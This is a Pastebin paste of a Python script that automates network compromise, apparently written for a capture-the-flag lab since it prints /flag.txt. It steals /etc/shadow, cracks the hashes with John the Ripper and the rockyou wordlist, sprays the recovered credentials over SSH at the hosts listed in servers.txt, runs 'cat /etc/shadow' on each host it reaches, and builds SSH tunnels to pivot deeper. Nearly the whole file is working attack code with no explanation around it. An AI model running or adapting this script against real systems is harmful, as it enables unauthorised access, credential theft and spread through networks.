Advertisement
Guest User

Untitled

a guest
Apr 14th, 2019
123
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.83 KB | None | 0 0
  1. import os
  2. import subprocess
  3. import sys
  4. import threading
  5. import queue
  6. import time
  7. import paramiko
  8. import socketserver
  9. import select
  10.  
  11. if sys.version_info < (3, 0):
  12. print("Must be run with python3")
  13. exit()
  14.  
  15. ##### Globals
  16. COMPUTER = {}
  17. IP = {}
  18.  
  19. CRED = set()
  20. CRACKABLE = []
  21.  
  22. Computer_Number = 0
  23. Port_Number = 4444
  24.  
  25. Q = queue.Queue()
  26. COMPUTER[0] = {"reachable":[],
  27. "reached":[],
  28. "access":None,
  29. "credentials":None,
  30. "root":False
  31. }
  32.  
  33. ##### Helper functions
  34. def attempt_logon(hostname, port, username, password, command=None):
  35. try:
  36. ssh_client = paramiko.SSHClient()
  37. ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  38. ssh_client.connect(hostname=hostname,port=port,username=username,password=password)
  39. if command == None:
  40. return (True, None)
  41. else:
  42. stdin,stdout,stderr=ssh_client.exec_command(command)
  43. if stderr.readlines() == []:
  44. return (True, stdout)
  45. else:
  46. return (False, None)
  47. except Exception as e:
  48. return (False, None)
  49. finally:
  50. ssh_client.close()
  51.  
  52. def load_servers(fileContent):
  53. try:
  54. servers = []
  55. for line in fileContent.split("\n"):
  56. try:
  57. ip, port = line.split(":")
  58. servers.append([ip, port])
  59. except:
  60. pass
  61. return servers
  62. except Exception as e:
  63. print("Error parsing servers.txt:" + str(e))
  64.  
  65. def load_shadow(fileContent):
  66. load_shadow.filenumber
  67. try:
  68. with open('shadows/%d' % load_shadow.filenumber,'w+') as file:
  69. file.write(fileContent)
  70. CRACKABLE.append(load_shadow.filenumber)
  71. COMPUTER[0]["root"] = True
  72. except Exception as e:
  73. print("Error writing to directory: "+str(e))
  74. load_shadow.filenumber += 1
  75. load_shadow.filenumber = 0
  76.  
  77. ##### Thread Classes
  78. class john(threading.Thread):
  79. def __init__(self):
  80. threading.Thread.__init__(self)
  81. global CRACKABLE
  82. global CRED
  83. def timeout(self):
  84. self.running = False
  85. def run(self):
  86. self.running = True
  87. while self.running:
  88. if len(CRACKABLE) != 0:
  89. try:
  90. file = str(CRACKABLE.pop())
  91. p = subprocess.Popen(["john", "shadows/"+file, "--wordlist=./rockyou.txt", "--pot=./john.pot"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  92. (output, err) = p.communicate()
  93. p.stdout.close()
  94. p.stderr.close()
  95. p = subprocess.Popen(["john", "shadows/"+file, "--show", "--pot=./john.pot"], stdout=subprocess.PIPE)
  96. (output, err) = p.communicate()
  97. p.stdout.close()
  98.  
  99. for line in output.decode("utf-8").split("\n"):
  100. try:
  101. CRED.add((line.split(":")[0], line.split(":")[1]))
  102. print("New cred : %s %s" % (line.split(":")[0], line.split(":")[1]))
  103. except:
  104. pass
  105. old_cred = list(CRED)
  106. for username, p in old_cred:
  107. for u, password in old_cred:
  108. CRED.add((username, password))
  109. time.sleep(.25)
  110. except Exception as e:
  111. print(e)
  112. pass
  113. class cred(threading.Thread):
  114. def __init__(self):
  115. threading.Thread.__init__(self)
  116. global CRACKABLE
  117. global CRED
  118. global COMPUTER
  119. def timeout(self):
  120. self.running = False
  121. def run(self):
  122. self.running = True
  123. num_creds = 0
  124. while self.running:
  125. if len(CRED) == num_creds:
  126. time.sleep(.25)
  127. continue
  128. num_creds = len(CRED)
  129. for Comp_Num in COMPUTER.keys():
  130. if COMPUTER[Comp_Num]["root"] == False and COMPUTER[Comp_Num]["access"] != None:
  131. for q in IP.keys():
  132. if IP[q] == Comp_Num:
  133. print("Trying to gain root for %s" % q)
  134. break
  135. for username, password in CRED:
  136. success, output = attempt_logon(COMPUTER[Comp_Num]["access"][0], COMPUTER[Comp_Num]["access"][1], username, password, "cat /etc/shadow")
  137. if success:
  138. COMPUTER[Comp_Num]["root"] == True
  139. load_shadow(output.read().decode())
  140. print("Accessed root for %s" % q)
  141. class tunn(threading.Thread):
  142. def __init__(self, local_port, server_hostname, server_port, remote_hostname, remote_port, username, password):
  143. threading.Thread.__init__(self)
  144. global CRACKABLE
  145. global CRED
  146. self.local_port = local_port
  147. self.server_hostname = server_hostname
  148. self.server_port = server_port
  149. self.remote_hostname = remote_hostname
  150. self.remote_port = remote_port
  151. self.username = username
  152. self.password = password
  153. def timeout(self):
  154. self.running = False
  155. def run(self):
  156. local_port = self.local_port
  157. server_hostname = self.server_hostname
  158. server_port = self.server_port
  159. remote_hostname = self.remote_hostname
  160. remote_port = self.remote_port
  161. username = self.username
  162. password = self.password
  163. running = True
  164. def verbose(s):
  165. if False:
  166. print(s)
  167. try:
  168. client = paramiko.SSHClient()
  169. client.load_system_host_keys()
  170. client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  171.  
  172. client.connect(
  173. server_hostname,
  174. server_port,
  175. username=username,
  176. password=password
  177. )
  178.  
  179. class Handler(socketserver.BaseRequestHandler):
  180. def handle(self):
  181. try:
  182. chan = self.ssh_transport.open_channel(
  183. "direct-tcpip",
  184. (self.chain_host, self.chain_port),
  185. self.request.getpeername(),
  186. )
  187. except Exception as e:
  188. verbose(
  189. "Incoming request to %s:%d failed: %s"
  190. % (self.chain_host, self.chain_port, repr(e))
  191. )
  192. return
  193. if chan is None:
  194. verbose(
  195. "Incoming request to %s:%d was rejected by the SSH server."
  196. % (self.chain_host, self.chain_port)
  197. )
  198. return
  199.  
  200. verbose(
  201. "Connected! Tunnel open %r -> %r -> %r"
  202. % (
  203. self.request.getpeername(),
  204. chan.getpeername(),
  205. (self.chain_host, self.chain_port),
  206. )
  207. )
  208. while True:
  209. r, w, x = select.select([self.request, chan], [], [])
  210. if self.request in r:
  211. data = self.request.recv(1024)
  212. if len(data) == 0:
  213. break
  214. chan.send(data)
  215. if chan in r:
  216. data = chan.recv(1024)
  217. if len(data) == 0:
  218. break
  219. self.request.send(data)
  220.  
  221. peername = self.request.getpeername()
  222. chan.close()
  223. self.request.close()
  224. verbose("Tunnel closed from %r" % (peername,))
  225.  
  226. class SubHander(Handler):
  227. chain_host = remote_hostname
  228. chain_port = remote_port
  229. ssh_transport = client.get_transport()
  230.  
  231. class ForwardServer(socketserver.ThreadingTCPServer):
  232. daemon_threads = True
  233. allow_reuse_address = True
  234.  
  235. ForwardServer(("", local_port), SubHander).serve_forever()
  236. except Exception as e:
  237. print("AH: "+str(e))
  238.  
  239. ##### Init Main
  240. # Create shadow directory
  241. try:
  242. os.mkdir("shadows")
  243. except:
  244. pass
  245. # Get ips of host
  246. try:
  247. (output, err) = subprocess.Popen(["hostname -I"], stdout=subprocess.PIPE, shell=True).communicate()
  248. for ip in output[:-2].decode('utf-8').split(" "):
  249. IP[ip] = 0
  250. except Exception as e:
  251. print("Error determining ip address: "+str(e))
  252. # Read /root/servers.txt
  253. try:
  254. (output, err) = subprocess.Popen(["cat /root/servers.txt"], stdout=subprocess.PIPE, shell=True).communicate()
  255. for ip, port in load_servers(output.decode("utf-8")):
  256. COMPUTER[0]["reachable"].append((ip, port, ip, port))
  257. Q.put(0)
  258. except Exception as e:
  259. print("Error opening servers.txt: "+str(e))
  260. # Read /etc/shadow
  261. try:
  262. with open('/etc/shadow') as file:
  263. load_shadow(file.read())
  264. COMPUTER[0]["root"] == True
  265. except exception as e:
  266. print("Cannot open /etc/shadow: %s"+str(e))
  267. sys.exit(1)
  268. # Read /flag.txt
  269. try:
  270. with open('/flag.txt') as file:
  271. print("FLAG START ------")
  272. for line in file.readlines():
  273. print(line)
  274. print("FLAG END --------")
  275. except:
  276. pass
  277.  
  278. ##### Init Threads
  279. John_Thread = john()
  280. Cred_Thread = cred()
  281.  
  282. John_Thread.start()
  283. Cred_Thread.start()
  284.  
  285. Cred_Thread.daemon = True
  286. John_Thread.daemon = True
  287.  
  288. Tunn_Threads = []
  289.  
  290. ##### Main
  291. while Q.qsize() != 0:
  292. q = Q.get()
  293. Computer = COMPUTER[q]
  294. for ip, port, tunn_ip, tunn_port in Computer["reachable"]:
  295. if ip in IP.keys():
  296. if ip not in Computer["reached"]:
  297. Computer["reached"].append(ip)
  298. continue
  299. print("Try : "+ip)
  300. old_cred = list(CRED)
  301. for username, password in old_cred:
  302. if attempt_logon(tunn_ip, tunn_port, username, password)[0]:
  303. remote = {
  304. "reachable":[],
  305. "reached":[],
  306. "access": (tunn_ip, tunn_port),
  307. "credentials":None,
  308. "root":False
  309. }
  310. print("Credentials: %s:%s via %s:%s : %s %s" % (ip, port, tunn_ip, tunn_port, username, password))
  311. for new_ip in attempt_logon(tunn_ip, tunn_port, username, password, "hostname -I")[1].read()[:-2].decode('utf-8').split(" "):
  312. IP[new_ip] = Computer_Number
  313.  
  314. try:
  315. for new_ip, new_port in load_servers(attempt_logon(tunn_ip, tunn_port, username, password, "cat servers.txt")[1].read().decode("utf-8")):
  316. new_ip = str(new_ip)
  317. new_port = int(new_port)
  318. Port_Number += 1
  319. print("Create tunnel 127.0.0.1:%s to %s:%s via %s:%s"% (Port_Number, new_ip, new_port, tunn_ip, tunn_port))
  320. remote["reachable"].append((new_ip, new_port, "127.0.0.1", Port_Number))
  321. T = tunn(Port_Number, tunn_ip, tunn_port, new_ip, new_port, username, password)
  322. T.start()
  323. T.daemon = True
  324. Tunn_Threads.append(T)
  325. except Exception as e:
  326. pass
  327.  
  328.  
  329. # Initialize credenetials
  330. remote["credentials"] = (username, password)
  331.  
  332. # Check for root
  333. success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /etc/shadow")
  334. if success:
  335. remote["root"] = True
  336. print("Gained root : "+ip)
  337. load_shadow(output.read().decode("utf-8"))
  338.  
  339. success, output = attempt_logon(tunn_ip, tunn_port, username, password, "cat /flag.txt")
  340. if success:
  341. print("FLAG START ------")
  342. print(output.read().decode("utf-8"))
  343. print("FLAG END --------")
  344. Computer_Number += 1
  345. Q.put(Computer_Number)
  346. COMPUTER[Computer_Number] = remote
  347.  
  348. break
  349.  
  350. if(len(Computer["reached"]) != len(Computer["reachable"])):
  351. Q.put(q)
  352. time.sleep(.25)
  353.  
  354. print("Done")
  355. sys.exit()
  356. #### End
  357. John_Thread.timeout()
  358. Cred_Thread.timeout()
  359.  
  360. John_Thread.join()
  361. Cred_Thread.join()
  362.  
  363. for T in Tunn_Threads:
  364. T.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement